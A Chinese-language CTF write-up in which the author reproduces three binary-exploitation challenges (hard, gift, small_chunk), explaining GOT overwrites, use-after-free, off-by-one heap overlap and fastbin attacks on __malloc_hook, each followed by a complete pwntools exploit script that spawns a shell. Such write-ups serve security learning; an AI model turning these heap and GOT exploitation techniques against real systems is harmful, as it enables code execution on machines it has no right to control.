复现之前,先骂两句。SB形式,SB的自己。
1.hard:这道题目最他丫SB,上来运行不起来,环境调半天,还是运行不起来,再加上VPN崩溃,一直连不上,还以为题目本身优点问题,只能先放弃,转头帮忙去了。后来checksec一下才发现依赖是./lib/,也就是当前文件下需要创建一个lib文件夹,里面放上ld-linux-x86-64.so.2才能运行,我可去他大爷的。
给的分挺高,后面想了想也不算难,主要有三个点。
(1)任意写时修改的地方选择。
(2)calloc传入的nnum为0时,不会申请,会返回0。同样也具备mmap的功能。
(3)最开始初始化的时候,setbuf传入的是_IO_2_1_stdxx的结构体,该结构体在调用scanf,get,printf等需要初始化缓冲区的函数时,会写入缓冲区地址,也就是Libc上某个区域,可以借此联合setbuf来泄露地址。
比赛后和学长交流一下,才想到把最后的puts改成main,我真他丫是个SB,然后就很正常了。
①由于Partial Reload,可以改got表,所以先任意写,将puts改成main,循环程序。
②将exit改成init处的setbuf的地方,将setbuf改成printf,这样再进入init的地方时,就会打印处_IO_2_1_stdxx的结构体的值。
③由于打印_IO_2_1_stdxx的结构体的值时,打印处flag之后就会被0x00截断,所以需要修改flag处的值。这里通过calloc输入过大的nnum时会从mmap申请内存,返回的是mmap空间,也就是libc上的地址。同时由于关闭了PIE,偏移不会发生改变,所以直接调试计算偏移即可。
④泄露地址后,同样利用calloc申请mmap的方法,将calloc_got改成one_gadget即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133
| from pwn import *
context.arch = 'amd64' SigreturnFrame(kernel = 'amd64')
binary = "./pwn" libc_file = "/lib/x86_64-linux-gnu/libc-2.31.so"
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
''' malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook", malloc_hook) obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) '''
''' python2 LibcOffset.py libc-2.23.so '''
'''
puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() '''
''' u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a u_gadget2 = elf.sym['__libc_csu_init'] + 0x40 pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63 ret = elf.sym['__libc_csu_init'] + 0x64 '''
local = 1 if local: p = process(binary) elf = ELF(binary) libc = ELF(libc_file) else: p = remote("119.3.81.43","49153") elf = ELF(binary) libc = ELF(libc_file)
def write(offset, con): ru(": ") sl("-1") ru(": ") sl(str(offset // 4)) ru(":") sl(str(con))
def write2(offset, con): ru(": ") sl(str(0x100000)) ru(": ") sl(str(offset // 4)) ru(":") sl(str(con))
main_addr = 0x40078D puts_got = elf.got['puts'] setbuf_got = elf.got['setbuf'] exit_got = elf.got['exit'] printf_plt = elf.plt['printf'] setbuf_plt = elf.plt['setbuf'] calloc_got = elf.got['calloc'] setbuf_init = 0x40086a
log.info("puts_got:0x%x"%puts_got) log.info("setbuf_got:0x%x"%setbuf_got) log.info("exit_got:0x%x"%exit_got) log.info("printf_plt:0x%x"%printf_plt) log.info("setbuf_plt:0x%x"%setbuf_plt) log.info("calloc_got:0x%x"%calloc_got)
write(puts_got,main_addr) write(setbuf_got,printf_plt) write(setbuf_got+4,"0") write(exit_got,setbuf_init)
IO_stdin4_mmap = 0x5EC974 IO_stdin_1_libc = 0x1EBA03 write2(IO_stdin4_mmap,0x11111111) sla(': ', str(256)) leak = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00")) libc_base = leak - IO_stdin_1_libc log.info("libc_base:0x%x"%libc_base) one_gadget = libc_base + 0xe6c81
ru(": ") sl("0") ru(":") sl("0")
write(calloc_got, one_gadget & 0xffffffff) ru(": ") sl(str(0)) p.interactive()
|
2.gift:这道题目我认栽,确实是做题经验少了,忘了利用chunk头+chunk联合fastbin的FILO原则来修改chunk头了。
(1)改chunk头,加上UAF漏洞,利用chunk头里的函数指针和参数,改成printf,直接格式化字符串泄露地址。
(2)同样道理,直接改函数指针指向堆上伪造的system_addr,利用参数/bin/sh直接getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import *
context.arch = 'amd64' SigreturnFrame(kernel = 'amd64')
binary = "./GIFT" libc_file = "/lib/x86_64-linux-gnu/libc-2.23.so"
''' malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook", malloc_hook) obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) '''
''' python2 LibcOffset.py libc-2.23.so '''
''' puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() '''
''' u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a u_gadget2 = elf.sym['__libc_csu_init'] + 0x40 pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63 ret = elf.sym['__libc_csu_init'] + 0x64 '''
local = 1 if local: p = process(binary) elf = ELF(binary) libc = ELF(libc_file) else: p = remote("node3.buuoj.cn","49153") elf = ELF(binary) libc = ELF(libc_file)
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
menu = ">> "
def add(size, con): sla(menu, "1") sla("size: ", str(size)) sa("content: ", con)
def delete(idx): sla(menu, "2") sla("index: ", str(idx))
add(0x28, "\x00") add(0x28, "\x01")
delete(0) delete(1)
add(0x18, "%8$p%9$p"+"\x30") delete(0) ru("0x") heap_base = int(p.recv(12),16)-0x10 libc_base = int(p.recv(14),16) - 0x55810
log.info("heap_base:0x%x"%heap_base) log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + libc.sym['system']
add(0x38, "\x03") add(0x38, "\x04") add(0x48,p64(system_addr))
heap_system = heap_base+0x50+0x50+0x60+0x60+0x20+0x10 delete(3) delete(4) add(0x18,"/bin/sh\x00"+p64(heap_system)) delete(3) p.interactive()
|
3.small_chunk:我觉得出得最好的是这道题,确实不错。
(1)首先布局,利用off-by-one制作堆块重叠,然后unsortedbin泄露地址。
(2)由于chunk只能申请0x20和0x30,所以想要打fastbin attack,一般有以下三种方案来绕过:
①调用malloc_consolidate,整理fastbin中的chunk,使得fake_chunk的size变成合法的。这个有三种情况,具体分析,我都尝试了个遍,这里一个也用不了。
②利用unsotedbin attack,不过这个只能针对0x7f的情况,这里不太行。
③利用fastbinY链表,先伪造一个fastbin_chunk的fd为0x21或者0x31,申请回来fastbin_chunk,将0x21或者0x31留到fastbinY链表中,这样在main_arena中就留下了一个0x21或者0x31的数值,就可以利用这个数值伪造size来申请chunk到main_arena。之后0x20和0x30的fastbin打配合,将top_chunk地址改成malloc_hook的地方,再申请就可以申请到malloc_hook了。
需要注意的是,top_chunk改地址,需要绕过一些检测,所以一般两种情况:
A.free_hook-0xb58
B.malloc_hook-0x10
以上两种的size域都是一个libc地址,能够通过检测
这里由于堆块个数不够用,所以选择方案B,修改完malloc_hook为one_gadget后,再申请即可getshell。
▲这里在后面的复现中有点犯蠢,本来想申请到bss段上的,没办法泄露elf基地址。vmmap一看,发现heap_base和bss段固定偏移0x1000,这可给我高兴坏了,直接打bss段的size区域的地方。打完后,关机之后,再打开发现不顶用了。得,ASLR我之前给关了,再开就不是固定偏移了…..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173
| from pwn import *
context.arch = 'amd64' SigreturnFrame(kernel = 'amd64')
binary = "./small_chunk" libc_file = "./libc.so.6"
''' malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook", malloc_hook) obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) '''
''' python2 LibcOffset.py libc-2.23.so '''
''' puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() '''
''' u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a u_gadget2 = elf.sym['__libc_csu_init'] + 0x40 pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63 ret = elf.sym['__libc_csu_init'] + 0x64 '''
local = 1 if local: p = process(binary, env={"LD_PRELOAD":"./libc.so.6"}) elf = ELF(binary) libc = ELF(libc_file) else: p = remote("node3.buuoj.cn","49153") elf = ELF(binary) libc = ELF(libc_file)
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
menu = ">> "
def add(size): sla(menu, "1") sla("size: ", str(size))
def delete(idx): sla(menu, "2") sla("index: ", str(idx))
def show(idx): sla(menu, "3") sla("index: ", str(idx))
def edit(idx, con): sla(menu, "4") sla("index: ", str(idx)) sa("content: ",con)
add(0x18) add(0x18) delete(1) delete(0) add(0x18) show(0) ru("content: ") heap_base = u64(rc(6).ljust(8,"\x00"))-0x20 log.info("heap_base:%x"%heap_base) add(0x18) chunk2_addr = heap_base+0x40 log.info("chunk2_addr:%x"%chunk2_addr)
add(0x28) add(0x28) add(0x28)
add(0x28) add(0x28) add(0x18)
add(0x28) add(0x28) add(0x28) edit(2, p64(0x0)+p64(0x81) +p64(chunk2_addr+0x10)+p64(chunk2_addr+0x10) +p64(0x80)+p64(0x31))
edit(4,p64(0x0)*4+p64(0x80)+p64(0xb0))
delete(5) add(0x18) edit(2,"A"*0x10) show(2) ru("content: ") rc(0x10) main_arena = u64(rc(6).ljust(8,"\x00"))-88 -0x100-0x20 malloc_hook = main_arena-0x10 libc_base = malloc_hook-libc.sym['__malloc_hook'] log.info("libc_base:0x%x"%libc_base) system_addr = libc_base + libc.sym["system"] free_hook_addr = libc_base + libc.sym["__free_hook"] malloc_hook_addr = libc_base +libc.sym["__malloc_hook"] top_addr_main = main_arena+88 one_gadget = libc_base + 0xf1247
log.info("free_hook_addr:0x%x"%free_hook_addr) log.info("system_addr:0x%x"%system_addr) log.info("main_arena:0x%x"%main_arena) log.info("malloc_hook_addr:0x%x"%malloc_hook_addr) add(0x28) edit(11,"/bin/sh\x00") add(0x28) add(0x28) add(0x28) add(0x18) delete(7) edit(15,p64(0x31)) add(0x18) delete(4) edit(12,p64(main_arena)) add(0x28) add(0x28) edit(16,p64(main_arena+0x30)+p64(0x0) +p64(0x0)*3+p64(0x31)) add(0x28) edit(17,p64(0x0)*3+p64(malloc_hook_addr-0x10)) pause() add(0x28) add(0x28) edit(19,p64(one_gadget)) pause() add(0x28) p.interactive()
|
其实这次比赛也学到很多,虽然比赛的时候一道题也没写出来,总的来说还是自己的经验太少。